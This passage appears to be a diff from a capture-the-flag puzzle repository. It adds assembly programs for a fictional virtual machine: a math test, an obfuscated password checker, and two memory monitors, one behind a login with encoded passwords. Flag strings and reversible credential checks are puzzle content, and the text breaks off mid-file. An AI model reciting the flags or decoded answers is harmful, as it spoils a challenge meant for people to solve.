File diff suppressed because it is too large

80
prog/mathtest.asm

@ -0,0 +1,80 @@
.include "instr.inc"
.text
.global _start
_start:
# Check if the program is running from the right address
push_pc
pop_r3
cp_r3 _start
jp_eq main
ld_r2_r3
add_r2 (str_wrong_address - _start)
jp PrintStr
main:
ld_r2 str_intro
call PrintStr
# Ask for input, continue if user confirms
ld_r2 mem_input
ld_r3 7
call ReadStr
ldr_r0 mem_input
cp_r0 'Y'
jp_eq check
cp_r0 'y'
jp_eq check
cp_r0 ('Y' + '\n' * 0x100)
jp_eq check
cp_r0 ('y' + '\n' * 0x100)
jp_eq check
# The user hasn't confirmed
ld_r2 str_aborted
call PrintStr
ret
check:
copr 0x66
loop:
copr 0x64
call 0x3009
copr 0x65
cp_r0 2
jp_eq fail
cp_r0 1
jp_eq loop
ret
fail:
ld_r2 str_unsuccessful
call PrintStr
ret
str_intro:
.ascii "Glitch Research Laboratory Math Coprocessor\n"
.ascii "Testing Software: Function SQRT\n"
.ascii "\n"
.ascii "This program will test the SQRT function of the math module.\n"
.ascii "This function, executable with CALL 0x3009, should compute the\n"
.ascii "integer part of sqrt(R0) and return it in R0 (preserving R1-R3).\n"
.ascii "\n"
.ascii "Math module results will be compared with the coprocessor.\n"
.ascii "Note - if math module is not loaded, this test might crash the machine!\n"
.ascii "Report any bugs to administrator: ax.arwen@glitchlabsresearch.internal\n"
.ascii "\n"
.ascii "Continue with running the test (Y/N): \0"
str_aborted:
.ascii "Aborted.\n\0"
str_unsuccessful:
.ascii "Test was unsuccessful.\n\0"
str_wrong_address:
.ascii "Please load this program at address $2000.\n\0"
mem_input:
.ascii "________\0"

108
prog/mixtest.asm

@ -0,0 +1,108 @@
.include "instr.inc"
.text
.global _start
_start:
push_pc
pop_r3
cp_r3 _start
jp_eq main
ld_r2_r3
add_r2 (str_wrong_address - _start)
jp PrintStr
main:
# Gather the password
ld_r2 str_prompt_password
call PrintStr
ld_r2 mem_password
ld_r3 0x10
call ReadStr
ld_r2 mem_password
call StrTrim
ld_r2 str_validating
call PrintStr
# Fuck you
# Fuck you
# Fuck you
ld_r3 0 # Fuck you
mix # Fuck you
mix1_ld_r1 mem_password # Fuck you
mix1_inc_r1 # Fuck you
mix1_ldr_r0_r1 # Fuck you
mix1_ld_r1 0x5871 # Fuck you
mix1_cp_r0_r1 # Fuck you
mix1_jp_ne mix1_skip_inc # Fuck you
mix1_inc_r3 # Fuck you
mix1_skip_inc: # Fuck you
# Fuck you
mix1_switch2 # Fuck you
mix2_ldr_r0 mem_password + 3 # Fuck you
mix2_xor_r0 0x54c2 # Fuck you
mix2_cp_r0 0x6da4 # Fuck you
mix2_jp_ne mix2_skip_inc # Fuck you
mix2_inc_r3 # Fuck you
mix2_skip_inc: # Fuck you
# Fuck you
mix2_switch3 # Fuck you
mix3_ld_r1 mem_password + 1 # Fuck you
mix3_dec_r1 # Fuck you
mix3_ldrb_r0_r1 # Fuck you
mix3_add_r0_r0 # Fuck you
mix3_add_r0_r0 # Fuck you
mix3_cp_r0 0x011c # Fuck you
mix3_jp_ne mix3_skip_inc # Fuck you
mix3_inc_r3 # Fuck you
mix3_skip_inc: # Fuck you
# Fuck you
mix3_ld_r0 -1 # Fuck you
mix_delay: # Fuck you
mix3_dec_r0 # Fuck you
mix3_cp_r0 0x0201 # Fuck you
mix3_jp_ne mix_delay # Fuck you
mix3_end # Fuck you
# Fuck you
# Fuck you
# Fuck you
ldrb_r0 mem_password + 5
cp_r0 0
jp_ne main_check
inc_r3
main_check:
cp_r3 4
jp_eq main_correct
ld_r2 str_incorrect
call PrintStr
ret
main_correct:
ld_r2 str_correct
call PrintStr
ret
str_prompt_password:
.ascii "MIX/UNMIX opcodes - proof of concept\n"
.ascii "Enter a password: \0"
str_aborted:
.ascii "Aborted.\n\0"
str_incorrect:
.ascii "Nope, it's wrong.\n\0"
str_validating:
.ascii "Validating...\n\0"
str_correct:
.ascii "Yes, it's correct! FOOLS2023_{*insert correct pass here*}\n\0"
str_wrong_address:
.ascii "Please load this program at address $2000.\n\0"
# GqXf9
mem_password:
.ascii "________________________\0"

680
prog/monitor.asm

@ -0,0 +1,680 @@
.include "instr.inc"
.text
mem_e000:
.2byte 0
mem_e002:
.fill 0x0efe
mem_ef00:
.fill 0xb0
mem_efb0:
.fill 0x30
mem_efe0:
.fill 0x20
.global _start
_start:
ld_sp stack
# Set up the entrypoint for the breakpoint instruction
ld_r0 entry
ld_r1 0x98 # 'call'
strb_r1_r0
inc_r0
ld_r1 main
str_r1_r0
# Explain the debugger
ld_r2 str_intro
call PrintStr
# Execute the breakpoint, jump to main
brk
# If breakpoint returns here, we've ran out of stack
ld_r2 str_dry_stack
call PrintStr
copr_halt
die:
jp die
main:
# Save all the registers
push_sp
str_r0 mem_save_r0
str_r1 mem_save_r1
str_r2 mem_save_r2
str_r3 mem_save_r3
# Store the stack pointer
pop_r0
str_r0 mem_info_sp
# Read the return address
ld_r0_sp
ldr_r0_r0
add_r0 -1
str_r0 mem_info_pc
# Read some more stack values
ld_r1 (6 * 2)
ld_r2 mem_info_stack
ldr_r3 mem_info_sp
call MemCpy
# Print the processor state
ld_r2 str_breakpoint
call PrintStr
main_cmd_loop:
ld_r0 0
strb_r0 mem_e002
ld_r2 str_ready
call PrintStr
# Read input
ld_r2 mem_e000
ld_r3 8
call ReadStr
cp_r3 0
jp_eq error_too_long
ld_r2 mem_e000
call StrTrim
# Make sure the input is at most 2 characters
ldrb_r0 mem_e002
cp_r0 0
jp_ne error_bad_command
# Parse all the commands
ldr_r0 mem_e000
cp_r0 ('h' + '\n' * 0x100)
jp_eq cmd_help
cp_r0 'h'
jp_eq cmd_help
cp_r0 'r'
jp_eq cmd_read
cp_r0 ('r' + '\n' * 0x100)
jp_eq cmd_read
cp_r0 'p'
jp_eq cmd_print
cp_r0 ('p' + '\n' * 0x100)
jp_eq cmd_print
cp_r0 'x'
jp_eq cmd_exec
cp_r0 ('x' + '\n' * 0x100)
jp_eq cmd_exec
cp_r0 'c'
jp_eq cmd_cont
cp_r0 ('c' + '\n' * 0x100)
jp_eq cmd_cont
cp_r0 ('U' + 'C' * 0x100)
jp_eq cmd_undoc
cp_r0 ('l' + 's' * 0x100)
jp_eq cmd_list
cp_r0 ('r' + 'f' * 0x100)
jp_eq cmd_readfile
cp_r0 'w'
jp_eq cmd_write
cp_r0 ('w' + '\n' * 0x100)
jp_eq cmd_write
error_bad_command:
ld_r2 str_error_bad_command
call PrintStr
jp main_cmd_loop
error_too_long:
ld_r2 str_error_too_long
call PrintStr
jp main_cmd_loop
cmd_help:
ld_r2 str_help
call PrintStr
jp main_cmd_loop
cmd_read:
# Get the address to read
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
cp_r0 -1
jp_eq cmd_read_invalid
push_r0
# Get the amount of lines to read
ld_r2 str_prompt_lines
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
cp_r0 -1
jp_eq cmd_read_invalid
cp_r0 0
jp_eq cmd_read_invalid
# r2 = address, r3 = lines
ld_r3_r0
pop_r2
cmd_read_loop:
# Read 8 bytes
push_r2
push_r3
ld_r1 8
ld_r3_r2
ld_r2 mem_data
call MemCpy
pop_r3
pop_r2
# Store the current read address
str_r2 mem_addr
# Write it out
push_r2
push_r3
ld_r2 str_hexdump
call PrintStr
pop_r3
pop_r2
# Check if we're done
add_r2 8
dec_r3
cp_r3 0
jp_ne cmd_read_loop
jp main_cmd_loop
cmd_read_invalid:
ld_r2 str_error_invalid_input
call PrintStr
jp main_cmd_loop
cmd_write:
# Get the address to write
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
cp_r0 -1
jp_eq cmd_write_invalid
str_r0 mem_addr
ld_r2 str_prompt_hex
call PrintStr
cmd_write_loop:
# Clear the buffer
ld_r3 mem_e000 + 2
ld_r0 0
strb_r0_r3
dec_r3
strb_r0_r3
dec_r3
cmd_write_loop_first:
# Get the first nybble
copr_getc
strb_r0_r3
ld_r2_r3
# Check if it's the end or invalid
cp_r0 '.'
jp_eq cmd_write_end
cp_r0 '\n'
jp_eq cmd_write_loop_first
# Try to convert the nybble
push_r3
call ConvertHex
pop_r3
cp_r0 -1
jp_eq cmd_write_loop_first
inc_r3
cmd_write_loop_second:
# Get the second nybble
copr_getc
strb_r0_r3
ld_r2_r3
# Check if it's the end or invalid
cp_r0 '.'
jp_eq cmd_write_end
cp_r0 '\n'
jp_eq cmd_write_loop_second
# Try to convert the nybble
push_r3
call ConvertHex
pop_r3
cp_r0 -1
jp_eq cmd_write_loop_second
# Convert and store the full byte
dec_r3
ld_r2_r3
call ConvertHex
ldr_r1 mem_addr
strb_r0_r1
inc_r1
str_r1 mem_addr
jp cmd_write_loop # 0xf1d0
cmd_write_end:
# Read until newline
copr_getc
cp_r0 '\n'
jp_ne cmd_write_end
ld_r2 str_loaded
call PrintStr
jp main_cmd_loop
cmd_write_invalid:
ld_r2 str_error_invalid_input
call PrintStr
jp main_cmd_loop
cmd_print:
# Get the string to print
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
ld_r2_r0
call PrintStr
jp main_cmd_loop
cmd_exec:
# Get the address to execute
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
# Prompt the user to execute the address
push_r0
str_r0 mem_addr
ld_r2 str_prompt_exec
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ldrb_r0 mem_e000
cp_r0 'Y'
jp_eq cmd_exec_go
cp_r0 'y'
jp_eq cmd_exec_go
# Cancel the call
ld_r2 str_error_cancelled
call PrintStr
pop_r0
jp main_cmd_loop
cmd_exec_go:
# Call the function
pop_r3
call_r3
jp main_cmd_loop
cmd_cont:
ld_r2 str_continuing
call PrintStr
# Restore register state and unpause
ldr_r0 mem_save_r0
ldr_r1 mem_save_r1
ldr_r2 mem_save_r2
ldr_r3 mem_save_r3
ret
cmd_list:
ld_r2 str_file_list_header
call PrintStr
# Read directory
ld_r0 0
ld_r1 mem_e000
copr_readblk
ld_r3 mem_e000
cmd_list_loop:
ldrb_r0_r3
cp_r0 0
jp_eq cmd_list_next
# Store block
push_r3
strb_r0 mem_data
inc_r3
ldr_r0_r3
# Store size
push_r3
str_r0 mem_addr
# Print block and size
ld_r2 str_file_list_entry
call PrintStr
pop_r3
# Print filename
inc_r3
inc_r3
ld_r2_r3
call PrintStr
ld_r0 '\n'
copr_putc
pop_r3
cmd_list_next:
add_r3 0x10
cp_r3 mem_ef00
jp_ne cmd_list_loop
jp main_cmd_loop
cmd_undoc:
ld_r2 str_undoc
call PrintStr
jp main_cmd_loop
cmd_readfile:
ld_r2 str_prompt_filename
call PrintStr
# Read directory
ld_r0 0
ld_r1 mem_e000
copr_readblk
# Get filename to read
ld_r2 mem_efb0
ld_r3 0x10
call ReadStr
cp_r3 0
jp_eq cmd_readfile_error_too_long
ld_r2 mem_efb0
call StrTrim
ld_r3 mem_e000 + 3
cmd_readfile_loop:
# Check if the filename matches
ld_r2 mem_efb0
push_r3
call StrCmp
pop_r3
cp_r0 0
jp_eq cmd_readfile_match
add_r3 0x10
cp_r3 mem_ef00 + 3
jp_eq cmd_readfile_error_not_found
jp cmd_readfile_loop
cmd_readfile_match:
# Read file block
dec_r3
dec_r3
dec_r3
ldrb_r0_r3
# Read file size
inc_r3
ldr_r1_r3
# Read file into memory
push_r1
ld_r1 mem_e000
copr_readblk
# Prompt for address to write to
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_efe0
ld_r3 0x10
call ReadStr
ld_r2 mem_efe0
call ConvertHex
pop_r1
cp_r0 -1
jp_eq cmd_readfile_error_invalid_input
# Copy the data
ld_r2_r0
ld_r3 mem_e000
call MemCpy
ld_r2 str_loaded
call PrintStr
jp main_cmd_loop
cmd_readfile_error_not_found:
ld_r2 str_error_not_found
call PrintStr
jp main_cmd_loop
cmd_readfile_error_too_long:
ld_r2 str_error_too_long
call PrintStr
jp main_cmd_loop
cmd_readfile_error_invalid_input:
ld_r2 str_error_invalid_input
call PrintStr
jp main_cmd_loop
str_intro:
.ascii "======================================================================\n"
.ascii "Welcome to Glitch Research Laboratory Network: Test Server 1 (GRLTS01)\n"
.ascii "======================================================================\n"
.ascii "GRLTS01 is intended for research purposes only, to aid our engineers\n"
.ascii "in migrating their software to the latest GLVM architecture.\n"
.ascii "This server will boot into a machine language monitor, providing\n"
.ascii "a simple environment for development and testing.\n"
.ascii "\n"
.ascii "Note that this server is publicly accessible, and thus, should never\n"
.ascii "be used to store any confidential information. If storage of data is\n"
.ascii "necessary, consider utilizing encryption, or using our dedicated\n"
.ascii "storage servers GRLFS01.\n"
.ascii "Additionally, consider using GRLTS02 for any serious work - it's\n"
.ascii "an authenticated test server, which should be far more secure.\n"
.ascii "======================================================================\n"
.ascii "Running machine language monitor now.\n"
.ascii "======================================================================\n"
.ascii "\n\0"
str_error_too_long:
.ascii "! Input too long error.\n\0"
str_error_bad_command:
.ascii "! Bad command error (h for help).\n\0"
str_error_invalid_input:
.ascii "! Invalid input error.\n\0"
str_prompt_address:
.ascii "> Which address? \0"
str_prompt_lines:
.ascii "> How many lines? \0"
str_prompt_exec:
.ascii "> Really exec at "
text_ram_word mem_addr
.ascii "? Type Y if so: \0"
str_error_cancelled:
.ascii "! Cancelled action error.\n\0"
str_continuing:
.ascii "Continuing.\n\0"
str_loaded:
.ascii "Loaded.\n\0"
str_dry_stack:
.ascii "! Dry stack. Halting machine.\n\0"
str_prompt_filename:
.ascii "> Filename? \0"
str_error_not_found:
.ascii "! File not found error.\n\0"
str_prompt_hex:
.ascii "> Enter hex data. End with dot \".\" + newline:\n\0"
str_undoc:
.ascii "Wow, undocumented monitor command! FOOLS2023_{Secret"
text_ram_word 0xe000
.ascii "x"
text_ram_word 0xe001
.ascii "Command}\n\0"
str_help:
.ascii "Available commands:\n"
.ascii "r :: print memory as hex\n"
.ascii "p :: print memory as text\n"
.ascii "w :: write hex data to memory\n"
.ascii "x :: execute memory\n"
.ascii "rf :: load memory from file\n"
.ascii "ls :: print file index\n"
.ascii "h :: print this help message\n"
.ascii "c :: exit monitor and continue\n"
.ascii "Please enter hex numbers when prompted.\n"
.ascii "If necessary for debugging, you can break into monitor\n"
.ascii "with instruction BRK (0x00) and continue with 'c'\n"
.ascii "Note: memory region E000-FFFF is used by monitor\n\0"
str_file_list_header:
.ascii "BLK SIZE NAME\n"
.ascii "=======================\n\0"
str_file_list_entry:
text_ram_byte mem_data
.ascii " "
text_ram_word mem_addr
.ascii " \0" # 0xfa97
str_ready:
.ascii "Ready.\n"
.ascii "> \0"
str_breakpoint:
.ascii "*** BREAK INTO MONITOR AT $"
text_ram_word mem_info_pc
.ascii " ***\n"
.ascii "R0=$"
text_ram_word mem_save_r0
.ascii " R1=$"
text_ram_word mem_save_r1
.ascii " R2=$"
text_ram_word mem_save_r2
.ascii " R3=$"
text_ram_word mem_save_r3
.ascii "\n"
.ascii "SP=$"
text_ram_word mem_info_sp
.ascii " ["
text_ram_byte mem_info_stack + 0
text_ram_byte mem_info_stack + 1
text_ram_byte mem_info_stack + 2
text_ram_byte mem_info_stack + 3
text_ram_byte mem_info_stack + 4
text_ram_byte mem_info_stack + 5
text_ram_byte mem_info_stack + 6
text_ram_byte mem_info_stack + 7
text_ram_byte mem_info_stack + 8
text_ram_byte mem_info_stack + 9
text_ram_byte mem_info_stack + 10
text_ram_byte mem_info_stack + 11
.ascii "]\n\0"
str_hexdump:
text_ram_word mem_addr
.ascii " | "
text_ram_byte mem_data + 0
.ascii " "
text_ram_byte mem_data + 1
.ascii " "
text_ram_byte mem_data + 2
.ascii " "
text_ram_byte mem_data + 3
.ascii " "
text_ram_byte mem_data + 4
.ascii " "
text_ram_byte mem_data + 5
.ascii " "
text_ram_byte mem_data + 6
.ascii " "
text_ram_byte mem_data + 7
.ascii "\n\0"
mem_save_r0:
.2byte 0
mem_save_r1:
.2byte 0
mem_save_r2:
.2byte 0
mem_save_r3:
.2byte 0
mem_info_sp:
.2byte 0
mem_info_pc:
.2byte 0
mem_info_stack:
.fill 12
mem_data:
.fill 8
mem_addr:
.2byte 0
.fill 0xf00 - (. - _start)
stack:
.fill 0xf0
entry:
.fill 0x10

871
prog/monitor02.asm

@ -0,0 +1,871 @@
.include "instr.inc"
.text
mem_e000:
.2byte 0
mem_e002:
.fill 0x0efe
mem_ef00:
.fill 0xb0
mem_efb0:
.fill 0x30
mem_efe0:
.fill 0x20
.global _start
_start:
ld_sp stack
# Set up the entrypoint for the breakpoint instruction
ld_r0 entry
ld_r1 0x98 # 'call'
strb_r1_r0
inc_r0
ld_r1 main
str_r1_r0
# Explain the debugger
ld_r2 str_intro
call PrintStr
auth_user:
# Gather the username
ld_r2 str_prompt_user
call PrintStr
ld_r3 0x10
ld_r2 mem_input_user
call ReadStr
ld_r2 database
auth_user_loop:
# Check if we've reached the end of the database
ldrb_r0_r2
cp_r0 0
jp_eq error_incorrect_user
# Check if the username matches the current entry
ld_r3 mem_input_user
push_r2
call StrCmp
pop_r2
cp_r0 0
jp_eq auth_pass
# Next entry
add_r2 0x50
jp auth_user_loop
auth_pass:
# Grab the password field
add_r2 0x10
push_r2
call delay_input
# Gather the password
ld_r2 str_prompt_pass
call PrintStr
ld_r3 0x30
ld_r2 mem_input_pass
call ReadStr
call delay_input
# Load the ENCTABLE.BIN file
ld_r0 1
ld_r1 0xc000
copr_readblk
# r2 = encoded pass
# r3 = input pass
pop_r2
ld_r3 mem_input_pass
auth_pass_loop:
push_r3
# b = *(0xc000 + *input)
ld_r1 0xc000
ldrb_r0_r3
add_r1_r0
ld_r3 0
ldrb_r0_r1
add_r3_r0
# b += *(0xc100 + *input)
add_r1 0x100
ldrb_r0_r1
add_r3_r0
# b += *(0xc200 + *input)
add_r1 0x100
ldrb_r0_r1
add_r3_r0
# b += *(0xc300 + *input)
add_r1 0x100
ldrb_r0_r1
add_r3_r0
# b &= 0xff
ld_r0_r3
and_r0 0xff
ldrb_r1_r2
cp_r0_r1
jp_ne error_incorrect_pass
pop_r3
call rotate_enctable
inc_r2
inc_r3
ldrb_r0_r2
cp_r0 0
jp_eq auth_success
jp auth_pass_loop
auth_success:
ld_r2 str_login_success
call PrintStr
# Execute the breakpoint, jump to main
brk
# If breakpoint returns here, we've ran out of stack
ld_r2 str_dry_stack
call PrintStr
copr_halt
die:
jp die
error_incorrect_user:
call delay_input
ld_r2 str_incorrect_user
call PrintStr
jp auth_user
error_incorrect_pass:
ld_r2 str_incorrect_pass
call PrintStr
jp auth_user
rotate_enctable:
ldrb_r0 0xc000
strb_r0 rotate_enctable_temp + 0
ldrb_r0 0xc100
strb_r0 rotate_enctable_temp + 1
ldrb_r0 0xc200
strb_r0 rotate_enctable_temp + 2
ldrb_r0 0xc300
strb_r0 rotate_enctable_temp + 3
ld_r1 0xc000
rotate_enctable_loop:
inc_r1
ldrb_r0_r1
dec_r1
strb_r0_r1
inc_r1
cp_r1 0xc3ff
jp_ne rotate_enctable_loop
ldrb_r0 rotate_enctable_temp + 0
strb_r0 0xc0ff
ldrb_r0 rotate_enctable_temp + 1
strb_r0 0xc1ff
ldrb_r0 rotate_enctable_temp + 2
strb_r0 0xc2ff
ldrb_r0 rotate_enctable_temp + 3
strb_r0 0xc3ff
ret
rotate_enctable_temp:
.fill 4
delay_input:
push_r2
ld_r2 str_please_wait
call PrintStr
pop_r2
ld_r0 0x3fff
delay_input_loop:
nop
nop
nop
nop
nop
nop
nop
dec_r0
cp_r0 0
jp_ne delay_input_loop
ret
database:
.fill 0x00 - (. - database)
.ascii "ax.arwen\0"
.fill 0x10 - (. - database)
.byte 0xc6, 0x44, 0x99, 0xe3, 0xe9, 0x19, 0x0d, 0x07, 0x0d, 0x12, 0x79
.fill 0x50 - (. - database)
.ascii "sbw.shadow\0"
.fill 0x60 - (. - database)
.byte 0xe9, 0x22, 0xd8, 0x7c, 0x3c, 0x07, 0x54, 0x2d
.byte 0x5e, 0x53, 0x6a, 0xff, 0x80, 0x5e, 0xcd, 0xc8
.byte 0xcf, 0xff, 0x44, 0x74, 0xc8, 0xd8, 0x4b
.fill 0xbd - (. - database)
mem_input_user:
.ascii "________________\0"
mem_input_pass:
.ascii "________________________________________________________________\0"
str_prompt_user:
.ascii "Username: \0"
str_prompt_pass:
.ascii ">> Username OK. Password required\n"
.ascii "Password: \0"
str_please_wait:
.ascii ">> Please wait...\n\0"
str_incorrect_user:
.ascii ">> User not found in database.\n\0"
str_incorrect_pass:
.ascii ">> Password is incorrect.\n\0"
str_login_success:
.ascii ">> Login successful.\n"
.ascii "======================================================================\n"
.ascii "Running machine language monitor now.\n"
.ascii "======================================================================\n"
.ascii "\n\0"
main:
# Save all the registers
push_sp
str_r0 mem_save_r0
str_r1 mem_save_r1
str_r2 mem_save_r2
str_r3 mem_save_r3
# Store the stack pointer
pop_r0
str_r0 mem_info_sp
# Read the return address
ld_r0_sp
ldr_r0_r0
add_r0 -1
str_r0 mem_info_pc
# Read some more stack values
ld_r1 (6 * 2)
ld_r2 mem_info_stack
ldr_r3 mem_info_sp
call MemCpy
# Print the processor state
ld_r2 str_breakpoint
call PrintStr
main_cmd_loop:
ld_r0 0
strb_r0 mem_e002
ld_r2 str_ready
call PrintStr
# Read input
ld_r2 mem_e000
ld_r3 8
call ReadStr
cp_r3 0
jp_eq error_too_long
ld_r2 mem_e000
call StrTrim
# Make sure the input is at most 2 characters
ldrb_r0 mem_e002
cp_r0 0
jp_ne error_bad_command
# Parse all the commands
ldr_r0 mem_e000
cp_r0 ('h' + '\n' * 0x100)
jp_eq cmd_help
cp_r0 'h'
jp_eq cmd_help
cp_r0 'r'
jp_eq cmd_read
cp_r0 ('r' + '\n' * 0x100)
jp_eq cmd_read
cp_r0 'p'
jp_eq cmd_print
cp_r0 ('p' + '\n' * 0x100)
jp_eq cmd_print
cp_r0 'x'
jp_eq cmd_exec
cp_r0 ('x' + '\n' * 0x100)
jp_eq cmd_exec
cp_r0 'c'
jp_eq cmd_cont
cp_r0 ('c' + '\n' * 0x100)
jp_eq cmd_cont
cp_r0 ('U' + 'C' * 0x100)
jp_eq cmd_undoc
cp_r0 ('l' + 's' * 0x100)
jp_eq cmd_list
cp_r0 ('r' + 'f' * 0x100)
jp_eq cmd_readfile
cp_r0 'w'
jp_eq cmd_write
cp_r0 ('w' + '\n' * 0x100)
jp_eq cmd_write
error_bad_command:
ld_r2 str_error_bad_command
call PrintStr
jp main_cmd_loop
error_too_long:
ld_r2 str_error_too_long
call PrintStr
jp main_cmd_loop
cmd_help:
ld_r2 str_help
call PrintStr
jp main_cmd_loop
cmd_read:
# Get the address to read
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
cp_r0 -1
jp_eq cmd_read_invalid
push_r0
# Get the amount of lines to read
ld_r2 str_prompt_lines
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
cp_r0 -1
jp_eq cmd_read_invalid
cp_r0 0
jp_eq cmd_read_invalid
# r2 = address, r3 = lines
ld_r3_r0
pop_r2
cmd_read_loop:
# Read 8 bytes
push_r2
push_r3
ld_r1 8
ld_r3_r2
ld_r2 mem_data
call MemCpy
pop_r3
pop_r2
# Store the current read address
str_r2 mem_addr
# Write it out
push_r2
push_r3
ld_r2 str_hexdump
call PrintStr
pop_r3
pop_r2
# Check if we're done
add_r2 8
dec_r3
cp_r3 0
jp_ne cmd_read_loop
jp main_cmd_loop
cmd_read_invalid:
ld_r2 str_error_invalid_input
call PrintStr
jp main_cmd_loop
cmd_write:
# Get the address to write
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
cp_r0 -1
jp_eq cmd_write_invalid
str_r0 mem_addr
ld_r2 str_prompt_hex
call PrintStr
cmd_write_loop:
# Clear the buffer
ld_r3 mem_e000 + 2
ld_r0 0
strb_r0_r3
dec_r3
strb_r0_r3
dec_r3
cmd_write_loop_first:
# Get the first nybble
copr_getc
strb_r0_r3
ld_r2_r3
# Check if it's the end or invalid
cp_r0 '.'
jp_eq cmd_write_end
cp_r0 '\n'
jp_eq cmd_write_loop_first
# Try to convert the nybble
push_r3
call ConvertHex
pop_r3
cp_r0 -1
jp_eq cmd_write_loop_first
inc_r3
cmd_write_loop_second:
# Get the second nybble
copr_getc
strb_r0_r3
ld_r2_r3
# Check if it's the end or invalid
cp_r0 '.'
jp_eq cmd_write_end
cp_r0 '\n'
jp_eq cmd_write_loop_second
# Try to convert the nybble
push_r3
call ConvertHex
pop_r3
cp_r0 -1
jp_eq cmd_write_loop_second
# Convert and store the full byte
dec_r3
ld_r2_r3
call ConvertHex
ldr_r1 mem_addr
strb_r0_r1
inc_r1
str_r1 mem_addr
jp cmd_write_loop # 0xf1d0
cmd_write_end:
# Read until newline
copr_getc
cp_r0 '\n'
jp_ne cmd_write_end
ld_r2 str_loaded
call PrintStr
jp main_cmd_loop
cmd_write_invalid:
ld_r2 str_error_invalid_input
call PrintStr
jp main_cmd_loop
cmd_print:
# Get the string to print
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
ld_r2_r0
call PrintStr
jp main_cmd_loop
cmd_exec:
# Get the address to execute
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ld_r2 mem_e000
call ConvertHex
# Prompt the user to execute the address
push_r0
str_r0 mem_addr
ld_r2 str_prompt_exec
call PrintStr
ld_r2 mem_e000
ld_r3 8
call ReadStr
ldrb_r0 mem_e000
cp_r0 'Y'
jp_eq cmd_exec_go
cp_r0 'y'
jp_eq cmd_exec_go
# Cancel the call
ld_r2 str_error_cancelled
call PrintStr
pop_r0
jp main_cmd_loop
cmd_exec_go:
# Call the function
pop_r3
call_r3
jp main_cmd_loop
cmd_cont:
ld_r2 str_continuing
call PrintStr
# Restore register state and unpause
ldr_r0 mem_save_r0
ldr_r1 mem_save_r1
ldr_r2 mem_save_r2
ldr_r3 mem_save_r3
ret
cmd_list:
ld_r2 str_file_list_header
call PrintStr
# Read directory
ld_r0 0
ld_r1 mem_e000
copr_readblk
ld_r3 mem_e000
cmd_list_loop:
ldrb_r0_r3
cp_r0 0
jp_eq cmd_list_next
# Store block
push_r3
strb_r0 mem_data
inc_r3
ldr_r0_r3
# Store size
push_r3
str_r0 mem_addr
# Print block and size
ld_r2 str_file_list_entry
call PrintStr
pop_r3
# Print filename
inc_r3
inc_r3
ld_r2_r3
call PrintStr
ld_r0 '\n'
copr_putc
pop_r3
cmd_list_next:
add_r3 0x10
cp_r3 mem_ef00
jp_ne cmd_list_loop
jp main_cmd_loop
cmd_undoc:
ld_r2 str_undoc
call PrintStr
jp main_cmd_loop
cmd_readfile:
ld_r2 str_prompt_filename
call PrintStr
# Read directory
ld_r0 0
ld_r1 mem_e000
copr_readblk
# Get filename to read
ld_r2 mem_efb0
ld_r3 0x10
call ReadStr
cp_r3 0
jp_eq cmd_readfile_error_too_long
ld_r2 mem_efb0
call StrTrim
ld_r3 mem_e000 + 3
cmd_readfile_loop:
# Check if the filename matches
ld_r2 mem_efb0
push_r3
call StrCmp
pop_r3
cp_r0 0
jp_eq cmd_readfile_match
add_r3 0x10
cp_r3 mem_ef00 + 3
jp_eq cmd_readfile_error_not_found
jp cmd_readfile_loop
cmd_readfile_match:
# Read file block
dec_r3
dec_r3
dec_r3
ldrb_r0_r3
# Read file size
inc_r3
ldr_r1_r3
# Read file into memory
push_r1
ld_r1 mem_e000
copr_readblk
# Prompt for address to write to
ld_r2 str_prompt_address
call PrintStr
ld_r2 mem_efe0
ld_r3 0x10
call ReadStr
ld_r2 mem_efe0
call ConvertHex
pop_r1
cp_r0 -1
jp_eq cmd_readfile_error_invalid_input
# Copy the data
ld_r2_r0
ld_r3 mem_e000
call MemCpy
ld_r2 str_loaded
call PrintStr
jp main_cmd_loop
cmd_readfile_error_not_found:
ld_r2 str_error_not_found
call PrintStr
jp main_cmd_loop
cmd_readfile_error_too_long:
ld_r2 str_error_too_long
call PrintStr
jp main_cmd_loop
cmd_readfile_error_invalid_input:
ld_r2 str_error_invalid_input
call PrintStr
jp main_cmd_loop
str_intro:
.ascii "======================================================================\r\n"
.ascii "Welcome to Glitch Research Laboratory Network: Test Server 2 (GRLTS02)\r\n"
.ascii "======================================================================\r\n"
.ascii "This machine requires authentication.\r\n\0"
str_error_too_long:
.ascii "! Input too long error.\n\0"
str_error_bad_command:
.ascii "! Bad command error (h for help).\n\0"
str_error_invalid_input:
.ascii "! Invalid input error.\n\0"
str_prompt_address:
.ascii "> Which address? \0"
str_prompt_lines:
.ascii "> How many lines? \0"
str_prompt_exec:
.ascii "> Really exec at "
text_ram_word mem_addr
.ascii "? Type Y if so: \0"
str_error_cancelled:
.ascii "! Cancelled action error.\n\0"
str_continuing:
.ascii "Continuing.\n\0"
str_loaded:
.ascii "Loaded.\n\0"
str_dry_stack:
.ascii "! Dry stack. Halting machine.\n\0"
str_prompt_filename:
.ascii "> Filename? \0"
str_error_not_found:
.ascii "! File not found error.\n\0"
str_prompt_hex:
.ascii "> Enter hex data. End with dot \".\" + newline:\n\0"
str_undoc:
.ascii "Wow, undocumented monitor command! FOOLS2023_{Secret"
text_ram_word 0xe000
.ascii "x"
text_ram_word 0xe001
